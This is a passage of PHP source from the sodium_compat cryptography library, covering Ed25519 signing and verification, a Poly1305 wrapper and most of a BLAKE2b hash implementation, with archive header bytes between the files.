TypeError */ public static function sk_to_pk($sk) { return self::ge_p3_tobytes( self::ge_scalarmult_base( self::substr($sk, 0, 32) ) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign($message, $sk) { /** @var string $signature */ $signature = self::sign_detached($message, $sk); return $signature . $message; } /** * @internal You should not use this directly from another application * * @param string $message A signed message * @param string $pk Public key * @return string Message (without signature) * @throws SodiumException * @throws TypeError */ public static function sign_open($message, $pk) { /** @var string $signature */ $signature = self::substr($message, 0, 64); /** @var string $message */ $message = self::substr($message, 64); if (self::verify_detached($signature, $message, $pk)) { return $message; } throw new SodiumException('Invalid signature'); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_detached($message, $sk) { # crypto_hash_sha512(az, sk, 32); $az = hash('sha512', self::substr($sk, 0, 32), true); # az[0] &= 248; # az[31] &= 63; # az[31] |= 64; $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); # crypto_hash_sha512_init(&hs); # crypto_hash_sha512_update(&hs, az + 32, 32); # crypto_hash_sha512_update(&hs, m, mlen); # crypto_hash_sha512_final(&hs, nonce); $hs = hash_init('sha512'); hash_update($hs, self::substr($az, 32, 32)); hash_update($hs, $message); $nonceHash = hash_final($hs, true); # memmove(sig + 32, sk + 32, 32); $pk = self::substr($sk, 32, 32); # sc_reduce(nonce); # ge_scalarmult_base(&R, nonce); # ge_p3_tobytes(sig, &R); $nonce = self::sc_reduce($nonceHash) . self::substr($nonceHash, 32); $sig = self::ge_p3_tobytes( self::ge_scalarmult_base($nonce) ); # crypto_hash_sha512_init(&hs); # crypto_hash_sha512_update(&hs, sig, 64); # crypto_hash_sha512_update(&hs, m, mlen); # crypto_hash_sha512_final(&hs, hram); $hs = hash_init('sha512'); hash_update($hs, self::substr($sig, 0, 32)); hash_update($hs, self::substr($pk, 0, 32)); hash_update($hs, $message); $hramHash = hash_final($hs, true); # sc_reduce(hram); # sc_muladd(sig + 32, hram, az, nonce); $hram = self::sc_reduce($hramHash); $sigAfter = self::sc_muladd($hram, $az, $nonce); $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } return $sig; } /** * @internal You should not use this directly from another application * * @param string $sig * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_detached($sig, $message, $pk) { if (self::strlen($sig) < 64) { throw new SodiumException('Signature is too short'); } if ((self::chrToInt($sig[63]) & 240) && self::check_S_lt_L(self::substr($sig, 32, 32))) { throw new SodiumException('S < L - Invalid signature'); } if (self::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) !== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($pk[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */ $A = self::ge_frombytes_negate_vartime($pk); /** @var string $hDigest */ $hDigest = hash( 'sha512', self::substr($sig, 0, 32) . self::substr($pk, 0, 32) . $message, true ); /** @var string $h */ $h = self::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */ $R = self::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = self::ge_tobytes($R); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * @internal You should not use this directly from another application * * @param string $S * @return bool * @throws SodiumException * @throws TypeError */ public static function check_S_lt_L($S) { if (self::strlen($S) < 32) { throw new SodiumException('Signature must be 32 bytes'); } $L = array( 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10 ); $c = 0; $n = 1; $i = 32; /** @var array<int, int> $L */ do { --$i; $x = self::chrToInt($S[$i]); $c |= ( (($x - $L[$i]) >> 8) & $n ); $n &= ( (($x ^ $L[$i]) - 1) >> 8 ); } while ($i !== 0); return $c === 0; } /** * @param string $R * @return bool * @throws SodiumException * @throws TypeError */ public static function small_order($R) { /** @var array<int, array<int, int>> $blocklist */ $blocklist = array( /* 0 (order 4) */ array( 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ), /* 1 (order 1) */ array( 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ), /* 2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */ array( 0x26, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0, 0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0, 0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39, 0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x05 ), /* 55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */ array( 0xc7, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f, 0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f, 0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6, 0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0x7a ), /* p-1 (order 2) */ array( 0x13, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0, 0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0, 0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39, 0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x85 ), /* p (order 4) */ array( 0xb4, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f, 0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f, 0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6, 0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0xfa ), /* p+1 (order 1) */ array( 0xec, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* p+2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */ array( 0xed, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* p+55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */ array( 0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* 2p-1 (order 2) */ array( 0xd9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ), /* 2p (order 4) */ array( 0xda, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ), /* 2p+1 (order 1) */ array( 0xdb, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ) ); /** @var int $countBlocklist */ $countBlocklist = count($blocklist); for ($i = 0; $i < $countBlocklist; ++$i) { $c = 0; for ($j = 0; $j < 32; ++$j) { $c |= self::chrToInt($R[$j]) ^ (int) $blocklist[$i][$j]; } if ($c === 0) { return true; } } return false; } /** * @param string $s * @return string * @throws SodiumException */ public static function scalar_complement($s) { $t_ = self::L . str_repeat("\x00", 32); sodium_increment($t_); $s_ = $s . str_repeat("\x00", 32); ParagonIE_Sodium_Compat::sub($t_, $s_); return self::sc_reduce($t_); } /** * @return string * @throws SodiumException */ public static function scalar_random() { do { $r = ParagonIE_Sodium_Compat::randombytes_buf(self::SCALAR_BYTES); $r[self::SCALAR_BYTES - 1] = self::intToChr( self::chrToInt($r[self::SCALAR_BYTES - 1]) & 0x1f ); } while ( !self::check_S_lt_L($r) || ParagonIE_Sodium_Compat::is_zero($r) ); return $r; } /** * @param string $s * @return string * @throws SodiumException */ public static function scalar_negate($s) { $t_ = self::L . str_repeat("\x00", 32) ; $s_ = $s . str_repeat("\x00", 32) ; ParagonIE_Sodium_Compat::sub($t_, $s_); return self::sc_reduce($t_); } /** * @param string $a * @param string $b * @return string * @throws SodiumException */ public static function scalar_add($a, $b) { $a_ = $a . str_repeat("\x00", 32); $b_ = $b . str_repeat("\x00", 32); ParagonIE_Sodium_Compat::add($a_, $b_); return self::sc_reduce($a_); } /** * @param string $x * @param string $y * @return string * @throws SodiumException */ public static function scalar_sub($x, $y) { $yn = self::scalar_negate($y); return self::scalar_add($x, $yn); } } PKÜ�\�Ӂ�&&4vendor/paragonie/sodium_compat/src/Core/Poly1305.phpnu�[���<?php if (class_exists('ParagonIE_Sodium_Core_Poly1305', false)) { return; } /** * Class ParagonIE_Sodium_Core_Poly1305 */ abstract class ParagonIE_Sodium_Core_Poly1305 extends ParagonIE_Sodium_Core_Util { const BLOCK_SIZE = 16; /** * @internal You should not use this directly from another application * * @param string $m * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function onetimeauth($m, $key) { if (self::strlen($key) < 32) { throw new InvalidArgumentException( 'Key must be 32 bytes long.' ); } $state = new ParagonIE_Sodium_Core_Poly1305_State( self::substr($key, 0, 32) ); return $state ->update($m) ->finish(); } /** * @internal You should not use this directly from another application * * @param string $mac * @param string $m * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function onetimeauth_verify($mac, $m, $key) { if (self::strlen($key) < 32) { throw new InvalidArgumentException( 'Key must be 32 bytes long.' ); } $state = new ParagonIE_Sodium_Core_Poly1305_State( self::substr($key, 0, 32) ); $calc = $state ->update($m) ->finish(); return self::verify_16($calc, $mac); } } PKÜ�\e���^�^3vendor/paragonie/sodium_compat/src/Core/BLAKE2b.phpnu�[���<?php if (class_exists('ParagonIE_Sodium_Core_BLAKE2b', false)) { return; } /** * Class ParagonIE_Sodium_Core_BLAKE2b * * Based on the work of Devi Mandiri in devi/salt. */ abstract class ParagonIE_Sodium_Core_BLAKE2b extends ParagonIE_Sodium_Core_Util { /** * @var SplFixedArray */ protected static $iv; /** * @var array<int, array<int, int>> */ protected static $sigma = array( array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3), array( 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4), array( 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8), array( 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13), array( 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9), array( 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11), array( 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10), array( 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5), array( 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13 , 0), array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3) ); const BLOCKBYTES = 128; const OUTBYTES = 64; const KEYBYTES = 64; /** * Turn two 32-bit integers into a fixed array representing a 64-bit integer. * * @internal You should not use this directly from another application * * @param int $high * @param int $low * @return SplFixedArray * @psalm-suppress MixedAssignment */ public static function new64($high, $low) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } $i64 = new SplFixedArray(2); $i64[0] = $high & 0xffffffff; $i64[1] = $low & 0xffffffff; return $i64; } /** * Convert an arbitrary number into an SplFixedArray of two 32-bit integers * that represents a 64-bit integer. * * @internal You should not use this directly from another application * * @param int $num * @return SplFixedArray */ protected static function to64($num) { list($hi, $lo) = self::numericTo64BitInteger($num); return self::new64($hi, $lo); } /** * Adds two 64-bit integers together, returning their sum as a SplFixedArray * containing two 32-bit integers (representing a 64-bit integer). * * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param SplFixedArray $y * @return SplFixedArray * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ protected static function add64($x, $y) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } $l = ($x[1] + $y[1]) & 0xffffffff; return self::new64( (int) ($x[0] + $y[0] + ( ($l < $x[1]) ? 1 : 0 )), (int) $l ); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param SplFixedArray $y * @param SplFixedArray $z * @return SplFixedArray */ protected static function add364($x, $y, $z) { return self::add64($x, self::add64($y, $z)); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param SplFixedArray $y * @return SplFixedArray * @throws SodiumException * @throws TypeError */ protected static function xor64(SplFixedArray $x, SplFixedArray $y) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } if (!is_numeric($x[0])) { throw new SodiumException('x[0] is not an integer'); } if (!is_numeric($x[1])) { throw new SodiumException('x[1] is not an integer'); } if (!is_numeric($y[0])) { throw new SodiumException('y[0] is not an integer'); } if (!is_numeric($y[1])) { throw new SodiumException('y[1] is not an integer'); } return self::new64( (int) (($x[0] ^ $y[0]) & 0xffffffff), (int) (($x[1] ^ $y[1]) & 0xffffffff) ); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $c * @return SplFixedArray * @psalm-suppress MixedAssignment */ public static function rotr64($x, $c) { if (PHP_INT_SIZE === 4) { throw new SodiumException("Error, use 32-bit"); } if ($c >= 64) { $c %= 64; } if ($c >= 32) { /** @var int $tmp */ $tmp = $x[0]; $x[0] = $x[1]; $x[1] = $tmp; $c -= 32; } if ($c === 0) { return $x; } $l0 = 0; $c = 64 - $c; /** @var int $c */ if ($c < 32) { $h0 = ((int) ($x[0]) << $c) | ( ( (int) ($x[1]) & ((1 << $c) - 1) << (32 - $c) ) >> (32 - $c) ); $l0 = (int) ($x[1]) << $c; } else { $h0 = (int) ($x[1]) << ($c - 32); } $h1 = 0; $c1 = 64 - $c; if ($c1 < 32) { $h1 = (int) ($x[0]) >> $c1; $l1 = ((int) ($x[1]) >> $c1) | ((int) ($x[0]) & ((1 << $c1) - 1)) << (32 - $c1); } else { $l1 = (int) ($x[0]) >> ($c1 - 32); } return self::new64($h0 | $h1, $l0 | $l1); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @return int * @psalm-suppress MixedOperand */ protected static function flatten64($x) { return (int) ($x[0] * 4294967296 + $x[1]); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $i * @return SplFixedArray * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayOffset */ protected static function load64(SplFixedArray $x, $i) { /** @var int $l */ $l = (int) ($x[$i]) | ((int) ($x[$i+1]) << 8) | ((int) ($x[$i+2]) << 16) | ((int) ($x[$i+3]) << 24); /** @var int $h */ $h = (int) ($x[$i+4]) | ((int) ($x[$i+5]) << 8) | ((int) ($x[$i+6]) << 16) | ((int) ($x[$i+7]) << 24); return self::new64($h, $l); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $i * @param SplFixedArray $u * @return void * @psalm-suppress MixedAssignment */ protected static function store64(SplFixedArray $x, $i, SplFixedArray $u) { $maxLength = $x->getSize() - 1; for ($j = 0; $j < 8; ++$j) { /* [0, 1, 2, 3, 4, 5, 6, 7] ... becomes ... [0, 0, 0, 0, 1, 1, 1, 1] */ /** @var int $uIdx */ $uIdx = ((7 - $j) & 4) >> 2; $x[$i] = ((int) ($u[$uIdx]) & 0xff); if (++$i > $maxLength) { return; } /** @psalm-suppress MixedOperand */ $u[$uIdx] >>= 8; } } /** * This just sets the $iv static variable. * * @internal You should not use this directly from another application * * @return void */ public static function pseudoConstructor() { static $called = false; if ($called) { return; } self::$iv = new SplFixedArray(8); self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908); self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b); self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b); self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1); self::$iv[4] = self::new64(0x510e527f, 0xade682d1); self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f); self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b); self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179); $called = true; } /** * Returns a fresh BLAKE2 context. * * @internal You should not use this directly from another application * * @return SplFixedArray * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment */ protected static function context() { $ctx = new SplFixedArray(6); $ctx[0] = new SplFixedArray(8); // h $ctx[1] = new SplFixedArray(2); // t $ctx[2] = new SplFixedArray(2); // f $ctx[3] = new SplFixedArray(256); // buf $ctx[4] = 0; // buflen $ctx[5] = 0; // last_node (uint8_t) for ($i = 8; $i--;) { $ctx[0][$i] = self::$iv[$i]; } for ($i = 256; $i--;) { $ctx[3][$i] = 0; } $zero = self::new64(0, 0); $ctx[1][0] = $zero; $ctx[1][1] = $zero; $ctx[2][0] = $zero; $ctx[2][1] = $zero; return $ctx; } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $buf * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset */ protected static function compress(SplFixedArray $ctx, SplFixedArray $buf) { $m = new SplFixedArray(16); $v = new SplFixedArray(16); for ($i = 16; $i--;) { $m[$i] = self::load64($buf, $i << 3); } for ($i = 8; $i--;) { $v[$i] = $ctx[0][$i]; } $v[ 8] = self::$iv[0]; $v[ 9] = self::$iv[1]; $v[10] = self::$iv[2]; $v[11] = self::$iv[3]; $v[12] = self::xor64($ctx[1][0], self::$iv[4]); $v[13] = self::xor64($ctx[1][1], self::$iv[5]); $v[14] = self::xor64($ctx[2][0], self::$iv[6]); $v[15] = self::xor64($ctx[2][1], self::$iv[7]); for ($r = 0; $r < 12; ++$r) { $v = self::G($r, 0, 0, 4, 8, 12, $v, $m); $v = self::G($r, 1, 1, 5, 9, 13, $v, $m); $v = self::G($r, 2, 2, 6, 10, 14, $v, $m); $v = self::G($r, 3, 3, 7, 11, 15, $v, $m); $v = self::G($r, 4, 0, 5, 10, 15, $v, $m); $v = self::G($r, 5, 1, 6, 11, 12, $v, $m); $v = self::G($r, 6, 2, 7, 8, 13, $v, $m); $v = self::G($r, 7, 3, 4, 9, 14, $v, $m); } for ($i = 8; $i--;) { $ctx[0][$i] = self::xor64( $ctx[0][$i], self::xor64($v[$i], $v[$i+8]) ); } } /** * @internal You should not use this directly from another application * * @param int $r * @param int $i * @param int $a * @param int $b * @param int $c * @param int $d * @param SplFixedArray $v * @param SplFixedArray $m * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayOffset */ public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v, SplFixedArray $m) { $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i << 1]]); $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32); $v[$c] = self::add64($v[$c], $v[$d]); $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24); $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i << 1) + 1]]); $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16); $v[$c] = self::add64($v[$c], $v[$d]); $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63); return $v; } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param int $inc * @return void * @throws SodiumException * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment */ public static function increment_counter($ctx, $inc) { if ($inc < 0) { throw new SodiumException('Increasing by a negative number makes no sense.'); } $t = self::to64($inc); # S->t is $ctx[1] in our implementation # S->t[0] = ( uint64_t )( t >> 0 ); $ctx[1][0] = self::add64($ctx[1][0], $t); # S->t[1] += ( S->t[0] < inc ); if (self::flatten64($ctx[1][0]) < $inc) { $ctx[1][1] = self::add64($ctx[1][1], self::to64(1)); } } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $p * @param int $plen * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedOperand */ public static function update(SplFixedArray $ctx, SplFixedArray $p, $plen) { self::pseudoConstructor(); $offset = 0; while ($plen > 0) { $left = $ctx[4]; $fill = 256 - $left; if ($plen > $fill) { # memcpy( S->buf + left, in, fill ); /* Fill buffer */ for ($i = $fill; $i--;) { $ctx[3][$i + $left] = $p[$i + $offset]; } # S->buflen += fill; $ctx[4] += $fill; # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES ); self::increment_counter($ctx, 128); # blake2b_compress( S, S->buf ); /* Compress */ self::compress($ctx, $ctx[3]); # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES, BLAKE2B_BLOCKBYTES ); /* Shift buffer left */ for ($i = 128; $i--;) { $ctx[3][$i] = $ctx[3][$i + 128]; } # S->buflen -= BLAKE2B_BLOCKBYTES; $ctx[4] -= 128; # in += fill; $offset += $fill; # inlen -= fill; $plen -= $fill; } else { for ($i = $plen; $i--;) { $ctx[3][$i + $left] = $p[$i + $offset]; } $ctx[4] += $plen; $offset += $plen; $plen -= $plen; } } } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $out * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedOperand */ public static function finish(SplFixedArray $ctx, SplFixedArray $out) { self::pseudoConstructor(); if ($ctx[4] > 128) { self::increment_counter($ctx, 128); self::compress($ctx, $ctx[3]); $ctx[4] -= 128; if ($ctx[4] > 128) { throw new SodiumException('Failed to assert that buflen <= 128 bytes'); } for ($i = $ctx[4]; $i--;) { $ctx[3][$i] = $ctx[3][$i + 128]; } } self::increment_counter($ctx, $ctx[4]); $ctx[2][0] = self::new64(0xffffffff, 0xffffffff); for ($i = 256 - $ctx[4]; $i--;) { $ctx[3][$i+$ctx[4]] = 0; } self::compress($ctx, $ctx[3]); $i = (int) (($out->getSize() - 1) / 8); for (; $i >= 0; --$i) { self::store64($out, $i << 3, $ctx[0][$i]); } return $out; } /** * @internal You should not use this directly from another application * * @param SplFixedArray|null $key * @param int $outlen * @param SplFixedArray|null $salt * @param SplFixedArray|null $personal * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset */ public static function init( $key = null, $outlen = 64, $salt = null, $personal = null ) { self::pseudoConstructor(); $klen = 0; if ($key !== null) { if (count($key) > 64) { throw new SodiumException('Invalid key size'); } $klen = count($key); } if ($outlen > 64) { throw new SodiumException('Invalid output size'); } $ctx = self::context(); $p = new SplFixedArray(64); // Zero our param buffer... for ($i = 64; --$i;) { $p[$i] = 0; } $p[0] = $outlen; // digest_length $p[1] = $klen; // key_length $p[2] = 1; // fanout $p[3] = 1; // depth if ($salt instanceof SplFixedArray) { // salt: [32] through [47] for ($i = 0; $i < 16; ++$i) { $p[32 + $i] = (int) $salt[$i]; } } if ($personal instanceof SplFixedArray) { // personal: [48] through [63] for ($i = 0; $i < 16; ++$i) { $p[48 + $i] = (int) $personal[$i]; } } $ctx[0][0] = self::xor64( $ctx[0][0], self::load64($p, 0) ); if ($salt instanceof SplFixedArray || $personal instanceof SplFixedArray) { // We need to do what blake2b_init_param() does: for ($i = 1; $i < 8; ++$i) { $ctx[0][$i] = self::xor64( $ctx[0][$i], self::load64($p, $i << 3) ); } } if ($klen > 0 && $key instanceof SplFixedArray) { $block = new SplFixedArray(128); for ($i = 128; $i--;) { $block[$i] = 0; } for ($i = $klen; $i--;) { $block[$i] = $key[$i]; } self::update($ctx, $block, 128); $ctx[4] = 128; } return $ctx; } /** * Convert a string into an SplFixedArray of integers * * @internal You should not use this directly from another application * * @param string $str * @return SplFixedArray * @psalm-suppress MixedArgumentTypeCoercion */ public static function stringToSplFixedArray($str = '') { $values = unpack('C*', $str); return SplFixedArray::fromArray(array_values($values)); } /** * Convert an SplFixedArray of integers into a string * * @internal You should not use this directly from another application * * @param SplFixedArray $a * @return string * @throws TypeError */ public static function SplFixedArrayToString(SplFixedArray $a) { /** * @var array<int, int|string> $arr */ $arr = $a->toArray(); $c = $a->count(); array_unshift($arr, str_repeat('C', $c)); return (string) (call_user_func_array('pack', $arr)); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @return string * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedMethodCall */ public static function contextToString(SplFixedArray $ctx) { $str = ''; /** @var array<int, array<int, int>> $ctxA */ $ctxA = $ctx[0]->toArray(); # uint64_t h[8]; for ($i = 0; $i < 8; ++$i) { $str .= self::store32_le($ctxA[$i][1]); $str .= self::store32_le($ctxA[$i][0]); } # uint64_t t[2]; # uint64_t f[2]; for ($i = 1; $i < 3; ++$i) { $ctxA = $ctx[$i]->toArray(); $str .= self::store32_le($ctxA[0][1]); $str .= self::store32_le($ctxA[0][0]); $str .= self::store32_le($ctxA[1][1]); $str .= self::store32_le($ctxA[1][0]); } # uint8_t buf[2 * 128]; $str .= self::SplFixedArrayToString($ctx[3]); /** @var int $ctx4 */ $ctx4 = (int) $ctx[4]; # size_t buflen; $str .= implode('', array( self::intToChr($ctx4 & 0xff), self::intToChr(($ctx4 >> 8) & 0xff), self::intToChr(($ctx4 >> 16) & 0xff), self::intToChr(($ctx4 >> 24) & 0xff), self::intToChr(($ctx4 >> 32) & 0xff), self::intToChr(($ctx4 >> 40) & 0xff), self::intToChr(($ctx4 >> 48) & 0xff), self::intToChr(($ctx4 >> 56) & 0xff) )); # uint8_t last_node; return $str . self::intToChr($ctx[5]) . str_repeat("\x00", 23); } /** * Creates an SplFixedArray containing other SplFixedArray elements, from * a string (compatible with \Sodium\crypto_generichash_{init, update, final}) * * @internal You should not use this directly from another application * * @param string $string * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAssignment */ public static function stringToContext($string) { $ctx = self::context(); # uint64_t h[8]; for ($i = 0; $i < 8; ++$i) { $ctx[0][$i] = SplFixedArray::fromArray( array( self::load_4( self::substr($string, (($i << 3) + 4), 4) ), self::load_4( self::substr($string, (($i << 3) + 0), 4) ) ) ); } # uint64_t t[2]; # uint64_t f[2]; for ($i = 1; $i < 3; ++$i) { 